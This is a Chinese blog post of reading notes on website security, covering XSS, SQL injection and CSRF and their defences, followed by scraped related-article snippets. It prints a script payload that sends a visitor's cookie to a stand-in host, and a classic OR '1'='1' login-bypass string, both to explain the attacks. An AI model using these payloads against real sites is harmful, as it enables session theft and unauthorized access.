【读书笔记】网站的安全架构

news/2024/5/13 16:59:52/文章来源:https://blog.csdn.net/u013568373/article/details/91371691

前言

本菜鸡之前有过一篇读书笔记,整理了李智慧老师所著的《大型网站技术架构》一书中叙述的五个架构要素。这五个要素分别为 性能、可用性、伸缩性、扩展性、安全性本文针对安全性这一要素进行简单的讨论,内容也主要参考自《大型网站技术架构》这本书(一万分推荐这本书,个人认为这本书可以说是技术架构导论一样的存在了)。

所谓安全性是指,要求系统在应对各种攻击手段时能够有可靠的应对措施。

本文主要梳理几种常见的攻击技术,以及与之对应的防御手段。

跨站脚本攻击(XSS)

跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTMLJavaScript

一、攻击原理

例如有一个论坛网站,攻击者可以在上面发布以下内容:

<script>location.href="//domain.com/?c=" + document.cookie</script>

之后该内容可能会被渲染成以下形式:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。

二、危害

  • 窃取用户的 Cookie
  • 伪造虚假的输入表单骗取个人信息

三、防御手段

1 . 消毒

XSS攻击者一般都是通过在请求中嵌入恶意脚本达到攻击的目的,这些脚本是一般用户输入中不会使用的,如果进行过滤和消毒处理,即对某些html危险字符转义,例如将 ‘<’ 转义为 ‘&lt’;,将 ‘>’ 转义为 ‘&gt’. 从而避免 HTML 和 Javascript 代码的运行。

消毒几乎是所有网站必备的XSS防攻击手段。

2 . HttpOnly

设置了 HttpOnlyCookie 可以防止 JavaScript 脚本调用,就无法通过document.cookie 获取用户 Cookie 信息。

SQL注入攻击

攻击者在HTTP请求中注入恶意SQL命令,服务器用请求参数构造数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行。

在这里插入图片描述

一、攻击原理

例如一个网站登录验证的 SQL 查询代码为:

sql = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

如果填入以下内容:

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

那么 SQL 查询字符串为:

sql = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

此时无需验证通过就能执行以下查询:

sql = "SELECT * FROM users;"

二、防御手段

1 . 消毒

和防XSS攻击一样,请求参数消毒是一种比较简单粗暴又有效的手段。通过正则匹配,过滤请求数据中可能注入的SQL,如 “drop table” 等。

2 . 参数绑定

Java 中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。

PreparedStatement ps = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
ps.setString(1, userid);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();

跨站请求伪造(CSRF)

跨站请求伪造(Cross-site request forgery,CSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。

XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。

防御手段

1. 表单Token

服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。

2. 输入验证码

因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。

3. 检查 Referer 首部字段

Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 CSRF 攻击。

这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_743025.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[导入]国内web2.0网站的logo集合

国内web2.0网站的logo集合,收集过程中难免有遗漏,请到 http://www.yupoo.com/word/web2补上甘先生 2006-02-13 18:03 文章来源:http://www.blogjava.net/gump/archive/2006/02/13/30487.html转载于:https://www.cnblogs.com/cngump/archive/2006/05/16/401486.html

[转载]说说大型高并发高负载网站的系统架构

说说大型高并发高负载网站的系统架构 By Michael转载请保留出处&#xff1a;俊麟 Michael’s blog (http://www.toplee.com/blog/?p71) Trackback Url : http://www.toplee.com/blog/wp-trackback.php?p71 我在CERNET做过拨号接入平台的搭建&#xff0c;而后在Yahoo&372…

PHP网站事件流,详解DOM事件流的三个阶段

事件发生时会在元素节点之间按照特定的顺序传播&#xff0c;这个传播过程即DOM事件流。DOM事件流分为三个阶段&#xff0c;分别为&#xff1a;捕获阶段&#xff1a;事件从Document节点自上而下向目标节点传播的阶段&#xff1b;目标阶段&#xff1a;真正的目标节点正在处理事件…

Windows 7 即将发布 - 91%的应用程序、92%的硬件设备和95%的网站完美兼容

Windows Vista的兼容性往往被大家所诟病&#xff0c;Windows 7打算一血前仇了。经过了长达2年的兼容性测试和改进&#xff0c;已经有91%的应用程序、92%的硬件设备和95%的网站完美兼容Windows 7。在这个过程中&#xff0c;作为微软在北京的Windows 7兼容性测试支持中心&#xf…

网站CSS背景图片抓取工具

工具介绍&#xff1a;  1&#xff09;分析网页&#xff0c;获取页面图片。  2&#xff09;分析网页引用CSS文件&#xff0c;获取背景图片。  3&#xff09;批量下载。要点&#xff1a;  1&#xff09;正则 LINK_PATTERN&#xff1a;获取页面所有连接 BACKGROUND_IMAGE_…

网站服务器基本安全设置

一、服务器系统安装建议1、不安装多余组件&#xff0c;停止不需要的服务&#xff1b;2、www服务单独分区&#xff1b;3、补丁打全&#xff1b;二、登录账号与口令安全1、设置密码使用、数字加大小写字母不少余8位&#xff1b;# vi /etc/login.defs找到以下:PASS_MAX_DAYS 99…

查看网站服务器版本,查看服务器版本

您正在运行的 Tableau Server 的版本很重要。它确定您可以访问的功能和能力。在您进行升级时&#xff0c;版本也很重要&#xff0c;因为在某些情况下&#xff0c;您升级的方式取决于您从中升级的版本&#xff0c;以及要升级到的版本。了解如何查找版本之后&#xff0c;就很容易…

Java开发者必去的20个英文技术网站

为什么80%的码农都做不了架构师&#xff1f;>>> http://www.javaalmanac.com - Java开发者年鉴一书的在线版本. 要想快速查到某种Java技巧的用法及示例代码, 这是一个不错的去处. http://www.onjava.com - OReilly的Java网站. 每周都有新文章. http://java.sun.c…

从零开始建站-4

为什么80%的码农都做不了架构师&#xff1f;>>> 这里记录使用wordpress建站中遇到的问题 1、增加外网访问功能 登录数据库&#xff0c;在wp_options表中&#xff0c;修改字段 siteurl 和home均为 /wordpress&#xff0c;这里的wordpress的绝对路径为/var/www/htm…

Dreamwear如何创建javascript_15个免费学习JavaScript的最佳网站

作者&#xff1a;行者转发链接&#xff1a;https://codegeekz.com/15-best-websites-to-learn-javascript/前言JavaScript是Web最流行的语言。对于任何Web开发人员来说&#xff0c;JavaScript现在是必须学习的语言。像追踪树这样的创新已经大大提高了JavaScript的性能&#xff…

5分钟必懂-搭建网站框架踩到的坑之获取ServletPath

路径问题RealPathServletPathContextPathRequestURI获取真实ServletPath的方法RealPath String realPathrequest.getServletContext().getRealPath(); String realPathrequest.getServletContext().getRealPath("XXX");1)取得服务应用的绝对路径&#xff08;本地路径…

【nosql实现企业网站系列之一】mongodb的安装

本系列文章将使用Mongodb作为nosql的数据保存载体&#xff0c;显示载体使用aspnetmvc3&#xff0c;依赖注入容器使用unity application 2。 需要使用Mongodb首先需要安装。 一、下载Mongodb 地址&#xff1a;http://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus…

32个使用 Google 网页字体的优秀网站案例

如今&#xff0c;网页设计师非常注重网页字体的运用&#xff0c;为了能让网站有更好的可读性和更强的吸引力&#xff0c;他们需要更漂亮的字体。Google网页字体&#xff08;Google Web Fonts&#xff09;为设计师们提供了几百种免费开源的字体&#xff0c;只需要在网页中加入一…

用VS2008开发Ajax网站需要注意的一些事项

这两天因为要开始网站&#xff0c;我们的老大说了&#xff0c;一定要用到mvc架构三层模式的设计&#xff0c;另外关于ajax的的使用部分不得少于三分之一&#xff0c;这样的要求还真的是很奇怪&#xff0c;感觉就不太像是可以用于商业的东西&#xff0c;大概只是想让我们练习一下…

Anonymous几天之内攻陷500多个中国网站

根据CNET的报道&#xff0c;Anonymous***激进组织已经在几天之内黑掉了超过500个中国政府/商业网站&#xff0c;并号召中国***加入他们。 The hacked Web site for the Central Business District in Chengdu, China. (Credit: Screenshot by Steven Musil/CNET)

灯鹭的简单开放,促进网站一举多赢

社会化网络作为传统平台的升级与革新&#xff0c;简单开放是有别于传统网站的最显著特点&#xff0c;如今社交媒体发展如火如荼&#xff0c;大量真实且活跃的用户让其成为网站流量的主要来源&#xff0c;很多网站运营人员一直苦于无法参与进去。据了解&#xff0c;目前灯鹭是国…

关于在mvc4中多语言建站的实例

环境&#xff1a;vs2012 asp.net mvc4. 实现方式&#xff1a;resource 资源文件&#xff0c;根据路由规则中Lang参数来判断载入哪种语言方式 在网上找到了相关资料&#xff0c;顺便自己做了个练习&#xff0c;新建工程之类的步骤就免了&#xff0c;该注意的地方说明下&#xff…

网站获取ip代码怎么写_网站关键词怎么写更利于SEO优化

网站关键词是什么呢&#xff1f;就是一个网站给首页设定的以便用户通过搜索引擎能搜到本网站的词汇。简单来说就是一个网站设定出来&#xff0c;以便用户通过搜索引擎能搜到本网站的词汇&#xff0c;网站关键字代表了我们企业网站的市场定位。好的关键字设置&#xff0c;是我们…

研究日本网站设计趋势

日本有一些令人印象深刻的网页设计师。在艺术技能上&#xff0c;给互联网上的读者展示了强大的数字力量。幸运的是我们因为了解日本网站而不是一味的佩服他们的 网站图片和动画效果。我们会寻找一些日本设计师的网站&#xff0c;他们都是一些打破网页设计常规的网站&#xff0c…

60个优秀的免费网站模板下载(下篇)

您可能还喜欢 分享45款高质量的免费(X)HTML/CSS模板分享30个漂亮的免费 PSD 网站模板最新30佳精美 PSD 网站模板免费下载30佳精美的免费Flash网站模板下载50款高质量的网站PSD模板免费下载这篇文章收集了60款各式各样的高质量网站模板&#xff0c;您可以免费下载使用。当你需要…